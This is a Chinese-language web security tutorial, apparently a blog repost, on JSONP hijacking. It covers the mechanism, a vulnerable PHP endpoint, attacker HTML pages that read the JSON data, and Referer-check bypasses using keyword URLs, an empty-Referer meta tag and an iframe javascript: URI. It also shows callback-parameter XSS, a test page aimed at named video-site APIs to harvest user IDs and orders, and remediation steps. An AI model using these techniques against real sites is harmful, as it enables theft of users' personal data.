首页 > 其他分享 >【待做】【WEB安全】浅谈JSONP劫持漏洞

【待做】【WEB安全】浅谈JSONP劫持漏洞

时间:2024-08-13 13:27:55浏览次数:14  
标签:WEB 浅谈 JSONP JSON Referer jsonp test data

一、JSONP

二、JSONP 劫持示例

三、JSONP劫持绕过方法
   3.1 Referer过滤(常规)不严格 
   3.2 空引用绕过
   3.3 回调可以定义引起的安全问题
   3.4 测试 HTML 代码

四、JSONP 修复

JSONP

JSONP的全称是JSON with Padding,是一种基于JSON格式来解决跨域请求资源的方案。

由于浏览器同源策略的限制,浏览器只允许XmlHttpRequest请求当前相同(域名、协议、端口)的资源,对请求脚本资源没有限制。

原理:客户端通过请求脚本标签发送跨域请求,然后服务器输出JSON数据并执行回调函数。这种跨域数据输出方式称为JSONP。
简单原理说明:使用

<script></script>

可能造成的危险

JSONP数据劫持 
没有过滤导致的回调xss

JSONP 劫持示例

# Server request address: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback
<?php
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST['callback']);
if (!isset($callback) || empty($callback)) {
    $callback = 'callback';
}
$data = array('username'=>'Pmeow-phpoop','email' => '3303003493@google.com');
$json = json_encode($data);
echo $callback."(".$json.")";
# Client request address: http://127.0.0.1/jsonp/jsonp_test.html
<!DOCTYPE html>
<html lang='en'>
<head>
    <title>jsonp</title>
</head>
<body>
    jsonp hijack test
</body>
    <script>
        function jsonCallback(data){
            alert(JSON.stringify(data));
        }
</script>
    <script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>

三、JSONP劫持绕过方法

3.1 Referer过滤(常规)不严格

例如http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback 输出数据时,验证Referer

但不幸的是,它只验证关键字 aphp.测试存在于 Referer 中。

那么攻击者就可以构造url:http://127.0.0.1/aphp.test.html或者http://127.0.0.1/attack.htm?aphp.test

构造这样的url发起攻击绕过Referer防御

3.2 空引用绕过

有时候开发者在过滤的时候会允许Referer来源为空,因为正常情况下浏览器直接访问一个没有Referer的URL,所以我们有时候可以利用这个特性来绕过

# Use the <meta> tag to implement an empty Referer
<!DOCTYPE html>
<html lang='en'>
<head>
    <meta name="referrer" content="never" charset="utf-8">
    <title>jsonp without Referer</title>
</head>
<body>
    jsonp without Referer hijacking test
</body>
    <script>
        function jsonCallback(data){
            alert(JSON.stringify(data));
        }
</script>
    <script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>
# Use the <iframe> tag to call the javscript pseudo-protocol to implement an empty Referer call JSON file
<!DOCTYPE html>
<html lang='en'>
<head>
    <title>jsonp without Referer</title>
</head>
<body>
    jsonp without Referer hijacking test
</body>
    <iframe src="javascript:'<script>function jsonCallback(data){alert(JSON.stringify(data));}</script> <script src=http://aphp.test/jsonp/test_jsonp.php? callback=jsonCallback></script>'" frameborder="0"></iframe>
</html>

3.3 回调可以定义引起的安全问题

一般开发中,前端可以很方便调用,一般输出Callback都是可定制的,如果过滤不严格,或者Content-Type设置不合适,就会导致xss

注意:严格来说,如果输出数据也是攻击者可控的话,也可能造成危害,但本文强调的是Callback的输出点

测试一段代码如下

<?php
$callback = $_REQUEST['callback'];
if (!isset($callback) || empty($callback)) {
    $callback = 'callback';
}
$data = array('username'=>'Pmeow-phpoop','email' => '3303003493@google.com');
$json = json_encode($data);
echo $callback."(".$json.")";

3.4 测试 HTML 代码


<!DOCTYPE html>
<html lang='en'>

<head>
    <meta name="referrer" content="never" charset="utf-8">
    <title>jsonp hijack</title>
</head>

<body>
    https://v.qq.com jsonp hijacking
</body>
    <!-- Hijacking the user's QQ number can be used for promotion -->
    <script>function jc(data){alert(JSON.stringify(data));}</script>
    <script src="http://node.video.google.com/x/api/get_2029?callback=jc&_=1542534620161"></script>
    
    <!-- Hijack the user's order data -->
    <script>function jc2(data){alert(JSON.stringify(data));}</script>
    <script src="http://like.video.google.com/fcgi-bin/flw_new?otype=json&sn=FollowServer&cmd=2562&pidx=0&size=30&dtype=0&type=0&callback=jc2&_=1542536629083"></script>
</html>

四、JSONP 修复

验证 HTTP Referer 标头信息。
将 csrfToken 添加到请求中并在后端验证它。
JSON 格式的标准输出,Content-Type 设置为 (Content-Type : application/json; charset=utf-8)。
严格过滤回调函数名和输出的JSON数据(防止xss)

原文地址:

https://tutorialboy24.blogspot.com/2023/07/talking-about-jsonp-hijacking.html

原创 Ots安全

标签:WEB,浅谈,JSONP,JSON,Referer,jsonp,test,data
From: https://www.cnblogs.com/o-O-oO/p/18356670

相关文章

  • 高性能的 C++ Web 开发框架 CPPCMS + WebSocket 模拟实现聊天与文件传输案例。
    1.项目结构2.config.json{"service":{"api":"http","port":8080,"ip":"0.0.0.0"},"http":{"script":"",&q......
  • 【web】web 自动化框架
    1、WEB自动化框架1)selenium 缺点:1>稳定性不好:Selenium本身提供的方法,并不能保证testcase稳定通过,因为element状态有时候并不可用,这个时候的actions肯定会有问题。虽然使用人员会封装Selenium方法,加入一些等待,甚至是元素状态轮询判断,但是稳定性增加的同时,运行时间也同时大幅......
  • 发现敏感文件信息(web+google+github):网络安全案例研究
    第一部分:互联网第二部分:GitHub第三部分:GoogleDork结论作为一名安全研究人员,工作中最有意义的方面之一是发现和报告可能危及敏感信息的漏洞。在这篇博文中,将带大家了解最近在Web应用程序上发现的敏感文件信息、所使用的工具和技术以及保护敏感文件的重要性。免责声明:本博......
  • C ++ 也可以搭建Web?高性能的 C++ Web 开发框架 CPPCMS + MySQL 实现快速入门案例
    什么是CPPCMS?CppCMS是一个高性能的C++Web开发框架,专为构建快速、动态的网页应用而设计,特别适合高并发和低延迟的场景。其设计理念类似于Python的Django或RubyonRails,但针对C++提供了更细粒度的控制和更高效的性能。主要特点和优点1.高性能与并发处理​Cp......
  • Spring MVC原理:掌握Web开发的核心技术
    引言在现代Web开发领域,Spring框架无疑占据着举足轻重的地位。其中,SpringMVC作为Spring框架中的一个重要组成部分,为构建响应用户请求、处理业务逻辑以及渲染视图的Web应用程序提供了强大的支持。本文将深入探讨SpringMVC的工作原理及其在实际项目中的应用,无论你是刚刚接触......
  • 矿泉水在线批发商城系统解决方案毕设毕业设计.web期末作业设计网页.css网页成品参考
     博主介绍:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;专注大学生毕业设计教育和辅导。所有项目都配有从入门到精通的基础知识视频课程,学习后应对毕业设计答辩。项目配有对应开发文档、开题报告、任务书、P......
  • 灵办AI助手Chrome插件全面评测:PC Web端的智能办公利器
    探索灵办AI助手在MacOS上的高效表现,支持多款主流浏览器,助你轻松应对办公挑战文章目录探索灵办AI助手在MacOS上的高效表现,支持多款主流浏览器,助你轻松应对办公挑战摘要引言开发环境介绍核心功能评测1.网页翻译与双语对照......
  • ssm基于java web的商铺租赁管理系统的jsp管理系统|【源码+论文+PPT+部署视频】
    我们提供多元化的技术项目服务,涵盖Java、PHP、Python等编程语言,以及前端开发、人工智能、大数据、单片机开发、ASP.NET、物联网等领域。我们还提供简历模板、面试题库和学习资料,帮助用户提升技术能力和就业竞争力。我们的服务内容包括:免费功能设计、任务书和开题报告撰写、中......
  • nginx配置web服务|反向代理|负载均衡
    目录http模块server模块(虚拟主机配置)location模块基本语法匹配类型等号匹配(=)正则匹配(~)忽略大小写的正则匹配(~*)常见指令嵌套location反向代理负载均衡步骤1:定义Upstream块步骤2:配置Server和Location块示例配置负载均衡策略Q&A1.location里root和alias的区别是什么?Ngi......
  • 基于django+vue基于web的园区车辆出入管理系统【开题报告+程序+论文】计算机毕设
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容研究背景随着城市化进程的加快,各类产业园区、住宅小区及商业综合体等园区规模不断扩大,车辆管理成为园区管理中的重要环节。传统的车辆出入管理方式......